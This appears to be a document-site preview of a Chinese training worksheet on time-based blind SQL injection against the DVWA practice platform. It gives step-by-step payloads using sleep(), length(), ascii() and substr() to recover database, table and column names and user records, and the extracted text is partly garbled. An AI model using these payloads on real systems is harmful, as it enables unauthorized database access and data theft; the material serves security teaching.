



下載本文檔
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、言1言息宜至與管理專皿兼學資靦庫實訓I SQL注入(時間盲注)1一、實訓目的1 . 了解SQL注入的常用方式2 .掌握SQL時間盲注的方法二、實訓環(huán)境1. DVWA平臺2. Firefox瀏覽器(谷歌瀏覽器)三、實訓內(nèi)容1 .配置DVWA平臺進入DVWA平臺,選擇DVWA Security ,將安全級別設(shè)置為Low。2 .測試SQL注入點(1)點擊SQL Injection (Blind),進入測試頁面。(2)使用參數(shù)1' and sleep(5) # 進行提交,頁面明顯延遲。使用參數(shù)1 andsleep(5) #進行提交,頁面沒有延遲。說明是基于字符的時間盲注。(3)猜解數(shù)據(jù)庫名的長
2、度。具體命令如下:/明顯延遲? 1' and if(length(database()=1,sleep(5),1) #/ 沒有延遲1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解數(shù)據(jù)庫名。具體命令如下:八言息我至與管理專皿裁學費靦每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明顯延遲? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/沒有延遲? 1' andif
3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/沒有延遲修改substr函數(shù)的第二個參數(shù),如substr(database(),2,1) 進行測試,可以 獲得數(shù)據(jù)庫的第二個字母。(5)猜解數(shù)據(jù)庫表的數(shù)量。具體命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 沒有延遲? 1' and if(select count(table_name)fromi
4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明顯延遲(6)猜解數(shù)據(jù)庫表名的長度。具體命令格式如下:/沒有延遲? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至與管理專皿兼學資靦庫1' and if(length(substr(selecttablename
5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明顯延遲table_name from(7)猜解數(shù)據(jù)庫表的名稱。具體命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 沒有延遲? 1' and if(ascii(substr(select ta
6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 沒有延遲重復(fù)上述步驟,猜解出兩個表名。(8)猜解數(shù)據(jù)庫表中的字段長度。具體命令格式如下:? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 沒有延遲1' and if(selectco
7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明顯延遲(9)猜解數(shù)據(jù)庫表中的字段名稱。具體命令格式如下:言1言息宜至與管理專皿兼學資靦庫1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 沒有延遲1' an
8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 沒有延遲(10)猜解表中的數(shù)據(jù)。具體命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明顯延遲users表中的字段數(shù)為5猜測每條記錄的長度。說明巾rst_name的第一個值得長度為5個字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明顯延遲(11)二分法猜解表中的數(shù)據(jù)。具體命令格式如下:?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 購林地定金合同協(xié)議
- 購房補充協(xié)議合同模板
- 訂制信貨亭合同協(xié)議
- 購車合同轉(zhuǎn)成借款協(xié)議
- 設(shè)備帶土建合同協(xié)議
- 2025幼兒園數(shù)學思考能力試題與答案
- 《Reading Helping Each Other;Young Girl Warns Others about Tsunami》教案初中英語八年級上冊北師大版
- 甘肅省蘭州市2024-2025學年八年級上學期期中考試物理試題2【含答案解析】
- 2025年康復(fù)醫(yī)學專業(yè)畢業(yè)生考試試卷及答案
- 2020年全國生物學聯(lián)賽試題
- 2025年昆明市高三語文三診一??荚嚲砀酱鸢附馕?/a>
- 連云港2025年連云港市贛榆區(qū)事業(yè)單位招聘31人筆試歷年參考題庫附帶答案詳解
- 8.1薪火相傳的傳統(tǒng)美德 課件-2024-2025學年統(tǒng)編版道德與法治七年級下冊
- 診療規(guī)范考核試題及答案
- 臨沂市羅莊區(qū)興羅資本投資有限公司招聘筆試題庫2025
- 船舶動力系統(tǒng)可靠性提升-全面剖析
- 湖北省武漢市2025屆高中畢業(yè)生四月調(diào)研考試語文試卷及答案(武漢四調(diào))
- 彩超試題及答案三基
- 人工智能設(shè)計倫理知到智慧樹章節(jié)測試課后答案2024年秋浙江大學
- 品管圈PDCA獲獎案例-提高壓瘡高?;颊哳A(yù)防措施落實率醫(yī)院品質(zhì)管理成果匯報
- 成人腦室外引流護理-中華護理學會團體 標準
評論
0/150
提交評論